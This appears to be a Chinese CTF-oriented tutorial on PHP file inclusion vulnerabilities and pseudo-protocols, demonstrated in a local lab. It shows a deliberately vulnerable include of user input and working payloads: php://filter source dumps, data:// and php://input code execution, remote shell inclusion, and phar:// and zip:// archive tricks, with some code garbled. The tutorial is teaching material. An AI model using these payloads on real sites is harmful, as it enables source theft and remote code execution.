WEB 文件包含 /伪协议

首先谈谈什么是文件包含

WEB入门——文件包含漏洞与PHP伪协议_文件包含php伪协议_HasntStartIsOver的博客-CSDN博客

文件包含

程序员在编写的时候 可能写了自己的 函数 
如果想多次调用 那么就需要 重新写在源代码中
太过于麻烦了


只需要写入 funcation.php

然后在需要引用的地方 利用include funcation.php 函数
就可以调用  function.php的代码


但是如果 网站开发人员 把 include  中的php 作为一个变量

那么普通用户也可以通过传参 来访问 这个文件

就造成了 文件包含漏洞

例如 


$a=$_GET['a'];
include $_GET['a'];


这样就对上传的东西 没有控制 那么就可以访问文件了

我们来本地搭建一个环境看看

一个flag  一个test

WEB 文件包含 /伪协议_第1张图片

WEB 文件包含 /伪协议_第2张图片

 这里就存在漏洞 因为对我们的传参没有限制 我们就可以访问文件了

?file=./flag.txt   ./ 表示当前目录

 

 这样就访问了 flag文件

这就是最简单的文件包含漏洞

这里给出常见的文件包含的函数

 include

include()
当文件读取到 include()的时候 才把文件包含进来 并且发生错误会发出警告 但是还是会继续执行

 include_once

include_once()
一样的 但是 如果文件已经被包含一次
那么就不会再被包含

区别

WEB 文件包含 /伪协议_第3张图片

WEB 文件包含 /伪协议_第4张图片

如果包含了一次第二次就不会执行了

require

require() 
和inculde 作用一样 但是如果出错了 就会终止 停止执行

WEB 文件包含 /伪协议_第5张图片

 require_once

require_once()
一样的 包含两次的话就不会执行了

 区别

和上面一样

highlight_file、show_source

highlight_file()   、show_source()

对文件进行高亮显示  通常可以看到源代码

WEB 文件包含 /伪协议_第6张图片

 WEB 文件包含 /伪协议_第7张图片

 readfile、file_get_contents

readfile()  file_get_contents()

读取文件 送入缓冲区
注意这里会直接解析 php 文件


file_get_contents()
是读取文件作为一个字符串

p

 WEB 文件包含 /伪协议_第8张图片

 WEB 文件包含 /伪协议_第9张图片

 乱码是因为我没有设置解析

fopen

fopen()

打开一个文件或者 url

这里就是文件包含常见的函数

这里我们再给出分类

文件包含漏洞的分类

本地文件包含

被包含的文件在本地服务器中 那么就是本地文件包含

远程文件包含

php.ini中的 all_url_fopen和include 打开的话 就会远程文件包含

WEB 文件包含 /伪协议_第10张图片

远程文件包含就是

两个服务器
一个是本地服务器
一个是攻击者的


攻击者的web 根目录中写入 shell
那么


127.0.0.1/test.php?file=服务器的id/shell


这样就可以访问到shell 

接下来我们解释 伪协议

伪协议

首先给出常见的 伪协议

file://  协议

file://[文件的绝对路径和文件名]
访问本地文件
?file=file:///d:\phpstudy_pro\WWW\flag.txt

WEB 文件包含 /伪协议_第11张图片

 php:// 协议

php协议有很多

这里给出常用的

php://filter: 用于读源码


php://input: 用于执行php代码

php://filter

这在ctf中 很多都是使用 这个 就可以读取源代码

?file=php://filter/resource=flag.txt
无过滤的读取  直接返回全部

?file=php://filter/read=string.toupper/resource=flag.txt

通过设置read的值 来返回读取的内容



?file=php://filter/convert.base64-encode/resource=flag.txt

通过base64加密后 flag的内容

?file=php://filter/read=string.toupper|convert.base64-encode/resource=flag.txt

通过 大写 并且 base64加密

php://input

需要 allow_url_include 为on

";
}else{
    echo "you are not admin ! ";
}
?>

WEB 文件包含 /伪协议_第12张图片

 这里我们就向user 传入了 123123的内容

data://  协议

条件是  双on (fopen/include)

该协议 可以将 php代码 通过 协议发送并且执行

 用法

?file=data://text/plain,



?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


base64加密后

WEB 文件包含 /伪协议_第13张图片

 phar://协议

这个伪协议可以访问 解压包中的文件的内容

phar://[解压包路径/被解压文件名称]

我们首先创建一个 shell.zip

里面是 shell.php 内容为

 然后来访问

?file=phar://./shell.zip/shell.php

WEB 文件包含 /伪协议_第14张图片

 注意 这个协议无视后缀名

shell.zip 该为 shell.png

?file=phar://./shell.png/shell.php

依旧可以访问

zip:// 协议

和phar协议类似 但是需要的是绝对路径

并且 访问压缩包下的内容和压缩包需要用%23(#的url编码)隔开

?file=zip://../WWW/shell.zip%23shell.php

到这里 常见的伪协议就结束了

你可能感兴趣的:(WEB,伪协议)